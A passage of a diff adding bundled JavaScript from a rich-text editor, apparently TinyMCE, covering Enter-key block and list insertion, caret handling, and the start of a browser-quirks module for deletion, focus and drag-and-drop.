+          rng.setEndBefore(root);
+        } else {
+          rng.setStartAfter(root);
+          rng.setEndAfter(root);
+        }
+      } else {
+        rng.setStart(root, 0);
+        rng.setEnd(root, 0);
+      }
+    }
+    editor.selection.setRng(rng);
+    dom.remove(tempElm);
+    editor.selection.scrollIntoView(root);
+  };
+  var getEditableRoot = function (dom, node) {
+    var root = dom.getRoot();
+    var parent, editableRoot;
+    parent = node;
+    while (parent !== root && dom.getContentEditable(parent) !== 'false') {
+      if (dom.getContentEditable(parent) === 'true') {
+        editableRoot = parent;
+      }
+      parent = parent.parentNode;
+    }
+    return parent !== root ? editableRoot : root;
+  };
+  var getParentBlock$2 = function (editor) {
+    return Option.from(editor.dom.getParent(editor.selection.getStart(true), editor.dom.isBlock));
+  };
+  var getParentBlockName = function (editor) {
+    return getParentBlock$2(editor).fold(constant(''), function (parentBlock) {
+      return parentBlock.nodeName.toUpperCase();
+    });
+  };
+  var isListItemParentBlock = function (editor) {
+    return getParentBlock$2(editor).filter(function (elm) {
+      return isListItem(Element$$1.fromDom(elm));
+    }).isSome();
+  };
+  var $_7rkd6o7fjjgwe90j = {
+    moveToCaretPosition: moveToCaretPosition,
+    getEditableRoot: getEditableRoot,
+    getParentBlock: getParentBlock$2,
+    getParentBlockName: getParentBlockName,
+    isListItemParentBlock: isListItemParentBlock
+  };
+
+  var hasFirstChild = function (elm, name) {
+    return elm.firstChild && elm.firstChild.nodeName === name;
+  };
+  var hasParent$1 = function (elm, parentName) {
+    return elm && elm.parentNode && elm.parentNode.nodeName === parentName;
+  };
+  var isListBlock = function (elm) {
+    return elm && /^(OL|UL|LI)$/.test(elm.nodeName);
+  };
+  var isNestedList = function (elm) {
+    return isListBlock(elm) && isListBlock(elm.parentNode);
+  };
+  var getContainerBlock = function (containerBlock) {
+    var containerBlockParent = containerBlock.parentNode;
+    if (/^(LI|DT|DD)$/.test(containerBlockParent.nodeName)) {
+      return containerBlockParent;
+    }
+    return containerBlock;
+  };
+  var isFirstOrLastLi = function (containerBlock, parentBlock, first) {
+    var node = containerBlock[first ? 'firstChild' : 'lastChild'];
+    while (node) {
+      if ($_3b9u2y1rjjgwe7qe.isElement(node)) {
+        break;
+      }
+      node = node[first ? 'nextSibling' : 'previousSibling'];
+    }
+    return node === parentBlock;
+  };
+  var insert$1 = function (editor, createNewBlock, containerBlock, parentBlock, newBlockName) {
+    var dom = editor.dom;
+    var rng = editor.selection.getRng();
+    if (containerBlock === editor.getBody()) {
+      return;
+    }
+    if (isNestedList(containerBlock)) {
+      newBlockName = 'LI';
+    }
+    var newBlock = newBlockName ? createNewBlock(newBlockName) : dom.create('BR');
+    if (isFirstOrLastLi(containerBlock, parentBlock, true) && isFirstOrLastLi(containerBlock, parentBlock, false)) {
+      if (hasParent$1(containerBlock, 'LI')) {
+        dom.insertAfter(newBlock, getContainerBlock(containerBlock));
+      } else {
+        dom.replace(newBlock, containerBlock);
+      }
+    } else if (isFirstOrLastLi(containerBlock, parentBlock, true)) {
+      if (hasParent$1(containerBlock, 'LI')) {
+        dom.insertAfter(newBlock, getContainerBlock(containerBlock));
+        newBlock.appendChild(dom.doc.createTextNode(' '));
+        newBlock.appendChild(containerBlock);
+      } else {
+        containerBlock.parentNode.insertBefore(newBlock, containerBlock);
+      }
+    } else if (isFirstOrLastLi(containerBlock, parentBlock, false)) {
+      dom.insertAfter(newBlock, getContainerBlock(containerBlock));
+    } else {
+      containerBlock = getContainerBlock(containerBlock);
+      var tmpRng = rng.cloneRange();
+      tmpRng.setStartAfter(parentBlock);
+      tmpRng.setEndAfter(containerBlock);
+      var fragment = tmpRng.extractContents();
+      if (newBlockName === 'LI' && hasFirstChild(fragment, 'LI')) {
+        newBlock = fragment.firstChild;
+        dom.insertAfter(fragment, containerBlock);
+      } else {
+        dom.insertAfter(fragment, containerBlock);
+        dom.insertAfter(newBlock, containerBlock);
+      }
+    }
+    dom.remove(parentBlock);
+    $_7rkd6o7fjjgwe90j.moveToCaretPosition(editor, newBlock);
+  };
+  var $_6mi4nu7ejjgwe90f = { insert: insert$1 };
+
+  var isEmptyAnchor = function (elm) {
+    return elm && elm.nodeName === 'A' && $_6cwiepljjgwe7j4.trim($_2xw7ul2pjjgwe7xs.trim(elm.innerText || elm.textContent)).length === 0;
+  };
+  var isTableCell$5 = function (node) {
+    return node && /^(TD|TH|CAPTION)$/.test(node.nodeName);
+  };
+  var emptyBlock = function (elm) {
+    elm.innerHTML = '<br data-mce-bogus="1">';
+  };
+  var containerAndSiblingName = function (container, nodeName) {
+    return container.nodeName === nodeName || container.previousSibling && container.previousSibling.nodeName === nodeName;
+  };
+  var canSplitBlock = function (dom, node) {
+    return node && dom.isBlock(node) && !/^(TD|TH|CAPTION|FORM)$/.test(node.nodeName) && !/^(fixed|absolute)/i.test(node.style.position) && dom.getContentEditable(node) !== 'true';
+  };
+  var trimInlineElementsOnLeftSideOfBlock = function (dom, nonEmptyElementsMap, block) {
+    var node = block;
+    var firstChilds = [];
+    var i;
+    if (!node) {
+      return;
+    }
+    while (node = node.firstChild) {
+      if (dom.isBlock(node)) {
+        return;
+      }
+      if ($_3b9u2y1rjjgwe7qe.isElement(node) && !nonEmptyElementsMap[node.nodeName.toLowerCase()]) {
+        firstChilds.push(node);
+      }
+    }
+    i = firstChilds.length;
+    while (i--) {
+      node = firstChilds[i];
+      if (!node.hasChildNodes() || node.firstChild === node.lastChild && node.firstChild.nodeValue === '') {
+        dom.remove(node);
+      } else {
+        if (isEmptyAnchor(node)) {
+          dom.remove(node);
+        }
+      }
+    }
+  };
+  var normalizeZwspOffset = function (start, container, offset) {
+    if ($_3b9u2y1rjjgwe7qe.isText(container) === false) {
+      return offset;
+    } else if (start) {
+      return offset === 1 && container.data.charAt(offset - 1) === $_2xw7ul2pjjgwe7xs.ZWSP ? 0 : offset;
+    } else {
+      return offset === container.data.length - 1 && container.data.charAt(offset) === $_2xw7ul2pjjgwe7xs.ZWSP ? container.data.length : offset;
+    }
+  };
+  var includeZwspInRange = function (rng) {
+    var newRng = rng.cloneRange();
+    newRng.setStart(rng.startContainer, normalizeZwspOffset(true, rng.startContainer, rng.startOffset));
+    newRng.setEnd(rng.endContainer, normalizeZwspOffset(false, rng.endContainer, rng.endOffset));
+    return newRng;
+  };
+  var trimLeadingLineBreaks = function (node) {
+    do {
+      if ($_3b9u2y1rjjgwe7qe.isText(node)) {
+        node.nodeValue = node.nodeValue.replace(/^[\r\n]+/, '');
+      }
+      node = node.firstChild;
+    } while (node);
+  };
+  var getEditableRoot$1 = function (dom, node) {
+    var root = dom.getRoot();
+    var parent, editableRoot;
+    parent = node;
+    while (parent !== root && dom.getContentEditable(parent) !== 'false') {
+      if (dom.getContentEditable(parent) === 'true') {
+        editableRoot = parent;
+      }
+      parent = parent.parentNode;
+    }
+    return parent !== root ? editableRoot : root;
+  };
+  var setForcedBlockAttrs = function (editor, node) {
+    var forcedRootBlockName = $_259vs538jjgwe82a.getForcedRootBlock(editor);
+    if (forcedRootBlockName && forcedRootBlockName.toLowerCase() === node.tagName.toLowerCase()) {
+      editor.dom.setAttribs(node, $_259vs538jjgwe82a.getForcedRootBlockAttrs(editor));
+    }
+  };
+  var wrapSelfAndSiblingsInDefaultBlock = function (editor, newBlockName, rng, container, offset) {
+    var newBlock, parentBlock, startNode, node, next, rootBlockName;
+    var blockName = newBlockName || 'P';
+    var dom = editor.dom, editableRoot = getEditableRoot$1(dom, container);
+    parentBlock = dom.getParent(container, dom.isBlock);
+    if (!parentBlock || !canSplitBlock(dom, parentBlock)) {
+      parentBlock = parentBlock || editableRoot;
+      if (parentBlock === editor.getBody() || isTableCell$5(parentBlock)) {
+        rootBlockName = parentBlock.nodeName.toLowerCase();
+      } else {
+        rootBlockName = parentBlock.parentNode.nodeName.toLowerCase();
+      }
+      if (!parentBlock.hasChildNodes()) {
+        newBlock = dom.create(blockName);
+        setForcedBlockAttrs(editor, newBlock);
+        parentBlock.appendChild(newBlock);
+        rng.setStart(newBlock, 0);
+        rng.setEnd(newBlock, 0);
+        return newBlock;
+      }
+      node = container;
+      while (node.parentNode !== parentBlock) {
+        node = node.parentNode;
+      }
+      while (node && !dom.isBlock(node)) {
+        startNode = node;
+        node = node.previousSibling;
+      }
+      if (startNode && editor.schema.isValidChild(rootBlockName, blockName.toLowerCase())) {
+        newBlock = dom.create(blockName);
+        setForcedBlockAttrs(editor, newBlock);
+        startNode.parentNode.insertBefore(newBlock, startNode);
+        node = startNode;
+        while (node && !dom.isBlock(node)) {
+          next = node.nextSibling;
+          newBlock.appendChild(node);
+          node = next;
+        }
+        rng.setStart(container, offset);
+        rng.setEnd(container, offset);
+      }
+    }
+    return container;
+  };
+  var addBrToBlockIfNeeded = function (dom, block) {
+    var lastChild;
+    block.normalize();
+    lastChild = block.lastChild;
+    if (!lastChild || /^(left|right)$/gi.test(dom.getStyle(lastChild, 'float', true))) {
+      dom.add(block, 'br');
+    }
+  };
+  var insert$2 = function (editor, evt) {
+    var tmpRng, editableRoot, container, offset, parentBlock, shiftKey;
+    var newBlock, fragment, containerBlock, parentBlockName, containerBlockName, newBlockName, isAfterLastNodeInContainer;
+    var dom = editor.dom;
+    var schema = editor.schema, nonEmptyElementsMap = schema.getNonEmptyElements();
+    var rng = editor.selection.getRng();
+    var createNewBlock = function (name) {
+      var node = container, block, clonedNode, caretNode;
+      var textInlineElements = schema.getTextInlineElements();
+      if (name || parentBlockName === 'TABLE' || parentBlockName === 'HR') {
+        block = dom.create(name || newBlockName);
+        setForcedBlockAttrs(editor, block);
+      } else {
+        block = parentBlock.cloneNode(false);
+      }
+      caretNode = block;
+      if ($_259vs538jjgwe82a.shouldKeepStyles(editor) === false) {
+        dom.setAttrib(block, 'style', null);
+        dom.setAttrib(block, 'class', null);
+      } else {
+        do {
+          if (textInlineElements[node.nodeName]) {
+            if (isCaretNode(node)) {
+              continue;
+            }
+            clonedNode = node.cloneNode(false);
+            dom.setAttrib(clonedNode, 'id', '');
+            if (block.hasChildNodes()) {
+              clonedNode.appendChild(block.firstChild);
+              block.appendChild(clonedNode);
+            } else {
+              caretNode = clonedNode;
+              block.appendChild(clonedNode);
+            }
+          }
+        } while ((node = node.parentNode) && node !== editableRoot);
+      }
+      emptyBlock(caretNode);
+      return block;
+    };
+    var isCaretAtStartOrEndOfBlock = function (start) {
+      var walker, node, name, normalizedOffset;
+      normalizedOffset = normalizeZwspOffset(start, container, offset);
+      if ($_3b9u2y1rjjgwe7qe.isText(container) && (start ? normalizedOffset > 0 : normalizedOffset < container.nodeValue.length)) {
+        return false;
+      }
+      if (container.parentNode === parentBlock && isAfterLastNodeInContainer && !start) {
+        return true;
+      }
+      if (start && $_3b9u2y1rjjgwe7qe.isElement(container) && container === parentBlock.firstChild) {
+        return true;
+      }
+      if (containerAndSiblingName(container, 'TABLE') || containerAndSiblingName(container, 'HR')) {
+        return isAfterLastNodeInContainer && !start || !isAfterLastNodeInContainer && start;
+      }
+      walker = new TreeWalker(container, parentBlock);
+      if ($_3b9u2y1rjjgwe7qe.isText(container)) {
+        if (start && normalizedOffset === 0) {
+          walker.prev();
+        } else if (!start && normalizedOffset === container.nodeValue.length) {
+          walker.next();
+        }
+      }
+      while (node = walker.current()) {
+        if ($_3b9u2y1rjjgwe7qe.isElement(node)) {
+          if (!node.getAttribute('data-mce-bogus')) {
+            name = node.nodeName.toLowerCase();
+            if (nonEmptyElementsMap[name] && name !== 'br') {
+              return false;
+            }
+          }
+        } else if ($_3b9u2y1rjjgwe7qe.isText(node) && !/^[ \t\r\n]*$/.test(node.nodeValue)) {
+          return false;
+        }
+        if (start) {
+          walker.prev();
+        } else {
+          walker.next();
+        }
+      }
+      return true;
+    };
+    var insertNewBlockAfter = function () {
+      if (/^(H[1-6]|PRE|FIGURE)$/.test(parentBlockName) && containerBlockName !== 'HGROUP') {
+        newBlock = createNewBlock(newBlockName);
+      } else {
+        newBlock = createNewBlock();
+      }
+      if ($_259vs538jjgwe82a.shouldEndContainerOnEmptyBlock(editor) && canSplitBlock(dom, containerBlock) && dom.isEmpty(parentBlock)) {
+        newBlock = dom.split(containerBlock, parentBlock);
+      } else {
+        dom.insertAfter(newBlock, parentBlock);
+      }
+      $_7rkd6o7fjjgwe90j.moveToCaretPosition(editor, newBlock);
+    };
+    $_eqgqyj4jjjgwe8gi.normalize(dom, rng).each(function (normRng) {
+      rng.setStart(normRng.startContainer, normRng.startOffset);
+      rng.setEnd(normRng.endContainer, normRng.endOffset);
+    });
+    container = rng.startContainer;
+    offset = rng.startOffset;
+    newBlockName = $_259vs538jjgwe82a.getForcedRootBlock(editor);
+    shiftKey = evt.shiftKey;
+    if ($_3b9u2y1rjjgwe7qe.isElement(container) && container.hasChildNodes()) {
+      isAfterLastNodeInContainer = offset > container.childNodes.length - 1;
+      container = container.childNodes[Math.min(offset, container.childNodes.length - 1)] || container;
+      if (isAfterLastNodeInContainer && $_3b9u2y1rjjgwe7qe.isText(container)) {
+        offset = container.nodeValue.length;
+      } else {
+        offset = 0;
+      }
+    }
+    editableRoot = getEditableRoot$1(dom, container);
+    if (!editableRoot) {
+      return;
+    }
+    if (newBlockName && !shiftKey || !newBlockName && shiftKey) {
+      container = wrapSelfAndSiblingsInDefaultBlock(editor, newBlockName, rng, container, offset);
+    }
+    parentBlock = dom.getParent(container, dom.isBlock);
+    containerBlock = parentBlock ? dom.getParent(parentBlock.parentNode, dom.isBlock) : null;
+    parentBlockName = parentBlock ? parentBlock.nodeName.toUpperCase() : '';
+    containerBlockName = containerBlock ? containerBlock.nodeName.toUpperCase() : '';
+    if (containerBlockName === 'LI' && !evt.ctrlKey) {
+      parentBlock = containerBlock;
+      containerBlock = containerBlock.parentNode;
+      parentBlockName = containerBlockName;
+    }
+    if (/^(LI|DT|DD)$/.test(parentBlockName)) {
+      if (dom.isEmpty(parentBlock)) {
+        $_6mi4nu7ejjgwe90f.insert(editor, createNewBlock, containerBlock, parentBlock, newBlockName);
+        return;
+      }
+    }
+    if (newBlockName && parentBlock === editor.getBody()) {
+      return;
+    }
+    newBlockName = newBlockName || 'P';
+    if (isCaretContainerBlock(parentBlock)) {
+      newBlock = showCaretContainerBlock(parentBlock);
+      if (dom.isEmpty(parentBlock)) {
+        emptyBlock(parentBlock);
+      }
+      $_7rkd6o7fjjgwe90j.moveToCaretPosition(editor, newBlock);
+    } else if (isCaretAtStartOrEndOfBlock()) {
+      insertNewBlockAfter();
+    } else if (isCaretAtStartOrEndOfBlock(true)) {
+      newBlock = parentBlock.parentNode.insertBefore(createNewBlock(), parentBlock);
+      $_7rkd6o7fjjgwe90j.moveToCaretPosition(editor, containerAndSiblingName(parentBlock, 'HR') ? newBlock : parentBlock);
+    } else {
+      tmpRng = includeZwspInRange(rng).cloneRange();
+      tmpRng.setEndAfter(parentBlock);
+      fragment = tmpRng.extractContents();
+      trimLeadingLineBreaks(fragment);
+      newBlock = fragment.firstChild;
+      dom.insertAfter(fragment, parentBlock);
+      trimInlineElementsOnLeftSideOfBlock(dom, nonEmptyElementsMap, newBlock);
+      addBrToBlockIfNeeded(dom, parentBlock);
+      if (dom.isEmpty(parentBlock)) {
+        emptyBlock(parentBlock);
+      }
+      newBlock.normalize();
+      if (dom.isEmpty(newBlock)) {
+        dom.remove(newBlock);
+        insertNewBlockAfter();
+      } else {
+        $_7rkd6o7fjjgwe90j.moveToCaretPosition(editor, newBlock);
+      }
+    }
+    dom.setAttrib(newBlock, 'id', '');
+    editor.fire('NewBlock', { newBlock: newBlock });
+  };
+  var $_546sjh7djjgwe905 = { insert: insert$2 };
+
+  var matchesSelector = function (editor, selector) {
+    return $_7rkd6o7fjjgwe90j.getParentBlock(editor).filter(function (parentBlock) {
+      return selector.length > 0 && $_4yq1xp1gjjgwe7op.is(Element$$1.fromDom(parentBlock), selector);
+    }).isSome();
+  };
+  var shouldInsertBr = function (editor) {
+    return matchesSelector(editor, $_259vs538jjgwe82a.getBrNewLineSelector(editor));
+  };
+  var shouldBlockNewLine = function (editor) {
+    return matchesSelector(editor, $_259vs538jjgwe82a.getNoNewLineSelector(editor));
+  };
+  var $_aulrkk7hjjgwe90w = {
+    shouldInsertBr: shouldInsertBr,
+    shouldBlockNewLine: shouldBlockNewLine
+  };
+
+  var newLineAction = Adt.generate([
+    { br: [] },
+    { block: [] },
+    { none: [] }
+  ]);
+  var shouldBlockNewLine$1 = function (editor, shiftKey) {
+    return $_aulrkk7hjjgwe90w.shouldBlockNewLine(editor);
+  };
+  var isBrMode = function (requiredState) {
+    return function (editor, shiftKey) {
+      var brMode = $_259vs538jjgwe82a.getForcedRootBlock(editor) === '';
+      return brMode === requiredState;
+    };
+  };
+  var inListBlock = function (requiredState) {
+    return function (editor, shiftKey) {
+      return $_7rkd6o7fjjgwe90j.isListItemParentBlock(editor) === requiredState;
+    };
+  };
+  var inBlock = function (blockName, requiredState) {
+    return function (editor, shiftKey) {
+      var state = $_7rkd6o7fjjgwe90j.getParentBlockName(editor) === blockName.toUpperCase();
+      return state === requiredState;
+    };
+  };
+  var inPreBlock = function (requiredState) {
+    return inBlock('pre', requiredState);
+  };
+  var inSummaryBlock = function () {
+    return inBlock('summary', true);
+  };
+  var shouldPutBrInPre$1 = function (requiredState) {
+    return function (editor, shiftKey) {
+      return $_259vs538jjgwe82a.shouldPutBrInPre(editor) === requiredState;
+    };
+  };
+  var inBrContext = function (editor, shiftKey) {
+    return $_aulrkk7hjjgwe90w.shouldInsertBr(editor);
+  };
+  var hasShiftKey = function (editor, shiftKey) {
+    return shiftKey;
+  };
+  var canInsertIntoEditableRoot = function (editor) {
+    var forcedRootBlock = $_259vs538jjgwe82a.getForcedRootBlock(editor);
+    var rootEditable = $_7rkd6o7fjjgwe90j.getEditableRoot(editor.dom, editor.selection.getStart());
+    return rootEditable && editor.schema.isValidChild(rootEditable.nodeName, forcedRootBlock ? forcedRootBlock : 'P');
+  };
+  var match$2 = function (predicates, action) {
+    return function (editor, shiftKey) {
+      var isMatch = foldl(predicates, function (res, p) {
+        return res && p(editor, shiftKey);
+      }, true);
+      return isMatch ? Option.some(action) : Option.none();
+    };
+  };
+  var getAction$1 = function (editor, evt) {
+    return $_2racda49jjgwe8dz.evaluateUntil([
+      match$2([shouldBlockNewLine$1], newLineAction.none()),
+      match$2([inSummaryBlock()], newLineAction.br()),
+      match$2([
+        inPreBlock(true),
+        shouldPutBrInPre$1(false),
+        hasShiftKey
+      ], newLineAction.br()),
+      match$2([
+        inPreBlock(true),
+        shouldPutBrInPre$1(false)
+      ], newLineAction.block()),
+      match$2([
+        inPreBlock(true),
+        shouldPutBrInPre$1(true),
+        hasShiftKey
+      ], newLineAction.block()),
+      match$2([
+        inPreBlock(true),
+        shouldPutBrInPre$1(true)
+      ], newLineAction.br()),
+      match$2([
+        inListBlock(true),
+        hasShiftKey
+      ], newLineAction.br()),
+      match$2([inListBlock(true)], newLineAction.block()),
+      match$2([
+        isBrMode(true),
+        hasShiftKey,
+        canInsertIntoEditableRoot
+      ], newLineAction.block()),
+      match$2([isBrMode(true)], newLineAction.br()),
+      match$2([inBrContext], newLineAction.br()),
+      match$2([
+        isBrMode(false),
+        hasShiftKey
+      ], newLineAction.br()),
+      match$2([canInsertIntoEditableRoot], newLineAction.block())
+    ], [
+      editor,
+      evt.shiftKey
+    ]).getOr(newLineAction.none());
+  };
+  var $_csna0e7gjjgwe90q = { getAction: getAction$1 };
+
+  var insert$3 = function (editor, evt) {
+    $_csna0e7gjjgwe90q.getAction(editor, evt).fold(function () {
+      $_4o98q44ijjgwe8g6.insert(editor, evt);
+    }, function () {
+      $_546sjh7djjgwe905.insert(editor, evt);
+    }, noop);
+  };
+  var $_8clxtd7cjjgwe8zw = { insert: insert$3 };
+
+  var endTypingLevel = function (undoManager) {
+    if (undoManager.typing) {
+      undoManager.typing = false;
+      undoManager.add();
+    }
+  };
+  var handleEnterKeyEvent = function (editor, event) {
+    if (event.isDefaultPrevented()) {
+      return;
+    }
+    event.preventDefault();
+    endTypingLevel(editor.undoManager);
+    editor.undoManager.transact(function () {
+      if (editor.selection.isCollapsed() === false) {
+        editor.execCommand('Delete');
+      }
+      $_8clxtd7cjjgwe8zw.insert(editor, event);
+    });
+  };
+  var setup$9 = function (editor) {
+    editor.on('keydown', function (event) {
+      if (event.keyCode === $_9udk9k5wjjgwe8on.ENTER) {
+        handleEnterKeyEvent(editor, event);
+      }
+    });
+  };
+  var $_6sjbmj7bjjgwe8zo = { setup: setup$9 };
+
+  var isValidInsertPoint = function (location, caretPosition) {
+    return isAtStartOrEnd(location) && $_3b9u2y1rjjgwe7qe.isText(caretPosition.container());
+  };
+  var insertNbspAtPosition = function (editor, caretPosition) {
+    var container = caretPosition.container();
+    var offset = caretPosition.offset();
+    container.insertData(offset, '\xA0');
+    editor.selection.setCursorLocation(container, offset + 1);
+  };
+  var insertAtLocation = function (editor, caretPosition, location) {
+    if (isValidInsertPoint(location, caretPosition)) {
+      insertNbspAtPosition(editor, caretPosition);
+      return true;
+    } else {
+      return false;
+    }
+  };
+  var insertAtCaret$2 = function (editor) {
+    var isInlineTarget = curry($_av9utf3tjjgwe86b.isInlineTarget, editor);
+    var caretPosition = CaretPosition$1.fromRangeStart(editor.selection.getRng());
+    var boundaryLocation = $_g20q2x48jjgwe8dp.readLocation(isInlineTarget, editor.getBody(), caretPosition);
+    return boundaryLocation.map(curry(insertAtLocation, editor, caretPosition)).getOr(false);
+  };
+  var isAtStartOrEnd = function (location) {
+    return location.fold(constant(false), constant(true), constant(true), constant(false));
+  };
+  var insertAtSelection = function (editor) {
+    return editor.selection.isCollapsed() ? insertAtCaret$2(editor) : false;
+  };
+  var $_azr5r97jjjgwe913 = { insertAtSelection: insertAtSelection };
+
+  var executeKeydownOverride$2 = function (editor, evt) {
+    $_4hb46d78jjgwe8z6.execute([{
+        keyCode: $_9udk9k5wjjgwe8on.SPACEBAR,
+        action: $_4hb46d78jjgwe8z6.action($_azr5r97jjjgwe913.insertAtSelection, editor)
+      }], evt).each(function (_) {
+      evt.preventDefault();
+    });
+  };
+  var setup$10 = function (editor) {
+    editor.on('keydown', function (evt) {
+      if (evt.isDefaultPrevented() === false) {
+        executeKeydownOverride$2(editor, evt);
+      }
+    });
+  };
+  var $_biwd8y7ijjgwe910 = { setup: setup$10 };
+
+  var findBlockCaretContainer = function (editor) {
+    return $_ajwe9029jjgwe7ul.descendant(Element$$1.fromDom(editor.getBody()), '*[data-mce-caret]').fold(constant(null), function (elm) {
+      return elm.dom();
+    });
+  };
+  var removeIeControlRect = function (editor) {
+    editor.selection.setRng(editor.selection.getRng());
+  };
+  var showBlockCaretContainer = function (editor, blockCaretContainer) {
+    if (blockCaretContainer.hasAttribute('data-mce-caret')) {
+      showCaretContainerBlock(blockCaretContainer);
+      removeIeControlRect(editor);
+      editor.selection.scrollIntoView(blockCaretContainer);
+    }
+  };
+  var handleBlockContainer = function (editor, e) {
+    var blockCaretContainer = findBlockCaretContainer(editor);
+    if (!blockCaretContainer) {
+      return;
+    }
+    if (e.type === 'compositionstart') {
+      e.preventDefault();
+      e.stopPropagation();
+      showBlockCaretContainer(editor, blockCaretContainer);
+      return;
+    }
+    if (hasContent(blockCaretContainer)) {
+      showBlockCaretContainer(editor, blockCaretContainer);
+      editor.undoManager.add();
+    }
+  };
+  var setup$11 = function (editor) {
+    editor.on('keyup compositionstart', curry(handleBlockContainer, editor));
+  };
+  var $_1hbznl7kjjgwe916 = { setup: setup$11 };
+
+  var setup$12 = function (editor) {
+    var caret = $_80ia3a4ajjgwe8e2.setupSelectedState(editor);
+    $_1hbznl7kjjgwe916.setup(editor);
+    $_97nc1t76jjgwe8yv.setup(editor, caret);
+    $_cacenr79jjgwe8zc.setup(editor, caret);
+    $_6sjbmj7bjjgwe8zo.setup(editor);
+    $_biwd8y7ijjgwe910.setup(editor);
+  };
+  var $_ajiltf75jjgwe8yt = { setup: setup$12 };
+
+  function Quirks (editor) {
+    var each = $_6cwiepljjgwe7j4.each;
+    var BACKSPACE = $_9udk9k5wjjgwe8on.BACKSPACE, DELETE = $_9udk9k5wjjgwe8on.DELETE, dom = editor.dom, selection = editor.selection, settings = editor.settings, parser = editor.parser;
+    var isGecko = $_bcvfv9ajjgwe79v.gecko, isIE = $_bcvfv9ajjgwe79v.ie, isWebKit = $_bcvfv9ajjgwe79v.webkit;
+    var mceInternalUrlPrefix = 'data:text/mce-internal,';
+    var mceInternalDataType = isIE ? 'Text' : 'URL';
+    var setEditorCommandState = function (cmd, state) {
+      try {
+        editor.getDoc().execCommand(cmd, false, state);
+      } catch (ex) {
+      }
+    };
+    var isDefaultPrevented = function (e) {
+      return e.isDefaultPrevented();
+    };
+    var setMceInternalContent = function (e) {
+      var selectionHtml, internalContent;
+      if (e.dataTransfer) {
+        if (editor.selection.isCollapsed() && e.target.tagName === 'IMG') {
+          selection.select(e.target);
+        }
+        selectionHtml = editor.selection.getContent();
+        if (selectionHtml.length > 0) {
+          internalContent = mceInternalUrlPrefix + escape(editor.id) + ',' + escape(selectionHtml);
+          e.dataTransfer.setData(mceInternalDataType, internalContent);
+        }
+      }
+    };
+    var getMceInternalContent = function (e) {
+      var internalContent;
+      if (e.dataTransfer) {
+        internalContent = e.dataTransfer.getData(mceInternalDataType);
+        if (internalContent && internalContent.indexOf(mceInternalUrlPrefix) >= 0) {
+          internalContent = internalContent.substr(mceInternalUrlPrefix.length).split(',');
+          return {
+            id: unescape(internalContent[0]),
+            html: unescape(internalContent[1])
+          };
+        }
+      }
+      return null;
+    };
+    var insertClipboardContents = function (content, internal) {
+      if (editor.queryCommandSupported('mceInsertClipboardContent')) {
+        editor.execCommand('mceInsertClipboardContent', false, {
+          content: content,
+          internal: internal
+        });
+      } else {
+        editor.execCommand('mceInsertContent', false, content);
+      }
+    };
+    var emptyEditorWhenDeleting = function () {
+      var serializeRng = function (rng) {
+        var body = dom.create('body');
+        var contents = rng.cloneContents();
+        body.appendChild(contents);
+        return selection.serializer.serialize(body, { format: 'html' });
+      };
+      var allContentsSelected = function (rng) {
+        var selection = serializeRng(rng);
+        var allRng = dom.createRng();
+        allRng.selectNode(editor.getBody());
+        var allSelection = serializeRng(allRng);
+        return selection === allSelection;
+      };
+      editor.on('keydown', function (e) {
+        var keyCode = e.keyCode;
+        var isCollapsed, body;
+        if (!isDefaultPrevented(e) && (keyCode === DELETE || keyCode === BACKSPACE)) {
+          isCollapsed = editor.selection.isCollapsed();
+          body = editor.getBody();
+          if (isCollapsed && !dom.isEmpty(body)) {
+            return;
+          }
+          if (!isCollapsed && !allContentsSelected(editor.selection.getRng())) {
+            return;
+          }
+          e.preventDefault();
+          editor.setContent('');
+          if (body.firstChild && dom.isBlock(body.firstChild)) {
+            editor.selection.setCursorLocation(body.firstChild, 0);
+          } else {
+            editor.selection.setCursorLocation(body, 0);
+          }
+          editor.nodeChanged();
+        }
+      });
+    };
+    var selectAll = function () {
+      editor.shortcuts.add('meta+a', null, 'SelectAll');
+    };
+    var inputMethodFocus = function () {
+      if (!editor.settings.content_editable) {
+        dom.bind(editor.getDoc(), 'mousedown mouseup', function (e) {
+          var rng;
+          if (e.target === editor.getDoc().documentElement) {
+            rng = selection.getRng();
+            editor.getBody().focus();
+            if (e.type === 'mousedown') {
+              if (isCaretContainer(rng.startContainer)) {
+                return;
+              }
+              selection.placeCaretAt(e.clientX, e.clientY);
+            } else {
+              selection.setRng(rng);
+            }
+          }
+        });
+      }
+    };
+    var removeHrOnBackspace = function () {
+      editor.on('keydown', function (e) {
+        if (!isDefaultPrevented(e) && e.keyCode === BACKSPACE) {
+          if (!editor.getBody().getElementsByTagName('hr').length) {
+            return;
+          }
+          if (selection.isCollapsed() && selection.getRng().startOffset === 0) {
+            var node = selection.getNode();
+            var previousSibling = node.previousSibling;
+            if (node.nodeName === 'HR') {
+              dom.remove(node);
+              e.preventDefault();
+              return;
+            }
+            if (previousSibling && previousSibling.nodeName && previousSibling.nodeName.toLowerCase() === 'hr') {
+              dom.remove(previousSibling);
+              e.preventDefault();
+            }
+          }
+        }
+      });
+    };
+    var focusBody = function () {
+      if (!Range.prototype.getClientRects) {
+        editor.on('mousedown', function (e) {
+          if (!isDefaultPrevented(e) && e.target.nodeName === 'HTML') {
+            var body_1 = editor.getBody();
+            body_1.blur();
+            $_9o1ijaijjgwe7dm.setEditorTimeout(editor, function () {
+              body_1.focus();
+            });
+          }
+        });
+      }
+    };
+    var selectControlElements = function () {
+      editor.on('click', function (e) {
+        var target = e.target;
+        if (/^(IMG|HR)$/.test(target.nodeName) && dom.getContentEditableParent(target) !== 'false') {
+          e.preventDefault();
+          editor.selection.select(target);
+          editor.nodeChanged();
+        }
+        if (target.nodeName === 'A' && dom.hasClass(target, 'mce-item-anchor')) {
+          e.preventDefault();
+          selection.select(target);
+        }
+      });
+    };
+    var removeStylesWhenDeletingAcrossBlockElements = function () {
+      var getAttributeApplyFunction = function () {
+        var template = dom.getAttribs(selection.getStart().cloneNode(false));
+        return function () {
+          var target = selection.getStart();
+          if (target !== editor.getBody()) {
+            dom.setAttrib(target, 'style', null);
+            each(template, function (attr) {
+              target.setAttributeNode(attr.cloneNode(true));
+            });
+          }
+        };
+      };
+      var isSelectionAcrossElements = function () {
+        return !selection.isCollapsed() && dom.getParent(selection.getStart(), dom.isBlock) !== dom.getParent(selection.getEnd(), dom.isBlock);
+      };
+      editor.on('keypress', function (e) {
+        var applyAttributes;
+        if (!isDefaultPrevented(e) && (e.keyCode === 8 || e.keyCode === 46) && isSelectionAcrossElements()) {
+          applyAttributes = getAttributeApplyFunction();
+          editor.getDoc().execCommand('delete', false, null);
+          applyAttributes();
+          e.preventDefault();
+          return false;
+        }
+      });
+      dom.bind(editor.getDoc(), 'cut', function (e) {
